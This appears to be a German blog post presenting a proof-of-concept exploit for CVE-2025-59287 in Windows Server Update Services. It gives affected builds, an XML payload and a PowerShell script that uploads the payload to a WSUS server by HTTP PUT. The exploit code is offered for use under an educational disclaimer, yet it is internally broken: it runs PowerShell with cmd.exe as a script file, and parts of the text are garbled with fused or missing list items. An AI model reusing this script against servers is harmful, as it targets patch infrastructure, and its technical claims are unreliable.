
Technische Analyse und Proof-of-Concept-Exploit für CVE-2025-59287, eine kritische RCE in Windows Server Update Services durch unsichere Deserialisierung, einschließlich betroffener Builds und Schritte zur Schadensbegrenzung.
CVE-2025-59287 ist eine kritische RCE-Schwachstelle in Windows Server Update Services (WSUS), die durch unsichere Deserialisierung nicht vertrauenswürdiger Daten verursacht wird. Sie ermöglicht Remote-Angreifern die Ausführung beliebigen Codes ohne Authentifizierung. Aufgrund aktiver Ausnutzung wird dringend empfohlen, Patches einzuspielen.
CVE‑2025‑59287 – Eine Remote-Codeausführungs-Bedrohung in Windows Server Update Services (WSUS)
Von Mark Mallia
Die Windows Server Update Services (WSUS) von Microsoft sind das Rückgrat des Patch-Managements für jede Microsoft-Windows-Server-Plattform. Sie rufen Updates aus dem Microsoft-Updatekatalog ab, validieren sie und verteilen sie an alle Server in einem Netzwerk. Die als CVE‑2025‑59287 identifizierte Schwachstelle nutzt eine unsichere Deserialisierungsroutine innerhalb von WSUS aus, die es einem Angreifer ermöglicht, beliebigen XML-Inhalt in den Update-Feed einzuschleusen. Da WSUS die Nutzlast ohne Validierung des Quellpfads oder der Befehlsdaten verarbeitet, kann ein Angreifer jeden Dateinamen und Pfad angeben, was zu einer vollständigen Remote-Codeausführung auf dem Zielserver führt.
Warum das wichtig ist:
| Produktversion | Betroffene Builds |
|---|---|
| Windows Server 2012 | 6.2.9200.0 – < 6.2.9200.25728 |
| Windows Server 2012 R2 | 6.3.9600.0 – < 6.3.9600.22826 |
| Windows Server 2016 | 10.0.14393.0 – < 10.0.14393.8524 |
| Windows Server 2019 | 10.0.17763.0 – < 10.0.17763.7922 |
| Windows Server 2022 | 10.0.20348.0 – < 10.0.20348.4297 |
| Windows Server 2025 | 10.0.26100.0 – < 10.0.26100.6905 |
| Windows Server 23H2 | 10.0.25398.0 – < 10.0.25398.1916 |
(Falls Ihre Umgebung einen anderen Patch-Build verwendet, passen Sie den Bereich einfach entsprechend an.)
System.Xml.Linq.XElement.<SourcePath>-Element einfügen; dieser Wert wird als absoluter Pfad auf die Festplatte geschrieben.<Command>-Tags wird von PowerShell ausgeführt, wenn WSUS den Stream verarbeitet, was eine vollständige Remote-Codeausführung ermöglicht.Im Folgenden finden Sie die XML-Nutzlast, die wir auf einen anfälligen Server hochladen.
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS Exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
### Ein Beispiel-PowerShell-Exploit-Skript
Das folgende Skript generiert die XML-Nutzlast, lädt sie per HTTP PUT auf Ihre WSUS-Instanz hoch und hinterlässt eine Protokolldatei zur Fehlerbehebung.
# --------------------------------------------------
# Datei: wsus‑exploit.ps1
# Zweck: Bösartige UpdateStream.xml generieren,
# auf den WSUS-Server hochladen,
# den Feed auslösen.
# --------------------------------------------------
param (
[string]$TargetUrl = 'http://wsus.example.com/UpdateStream.xml',
[int] $Port = 80,
[string] $XmlFile = '.\payload.xml'
)
function Build-Xml {
param ([string]$file)
$xmlContent = @"
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
"@
Set-Content -Path $file -Value $xmlContent
}
# XML-Nutzlast erstellen
Build-Xml -file $XmlFile
# Per HTTP PUT hochladen
Invoke-WebRequest -Uri $TargetUrl `
-Method Put `
-InFile $XmlFile `
-OutFile 'upload.log'
Write-Host "Upload abgeschlossen – WSUS sollte den Stream nun verarbeiten."
winver.exe auf jedem Windows-Server aus, um zu bestätigen, dass der Build in die oben genannten Bereiche fällt.wsus‑exploit.ps1 auf einen Rechner, der Ihre WSUS-Instanz erreichen kann, und ändern Sie $TargetUrl, falls Sie einen anderen Pfad oder Port verwenden.C:\Windows\System32\cmd.exe auf jedem Zielserver erscheint und die erwartete Nutzlast enthält.Die hier bereitgestellten Informationen und der Exploit-Code dienen ausschließlich Bildungszwecken. Stellen Sie sicher, dass Sie die Berechtigung haben, diesen Test gegen Ihre eigene WSUS-Umgebung auszuführen, und befolgen Sie alle geltenden Sicherheits-Best-Practice-Richtlinien, wenn Sie Änderungen an Produktionssystemen bereitstellen.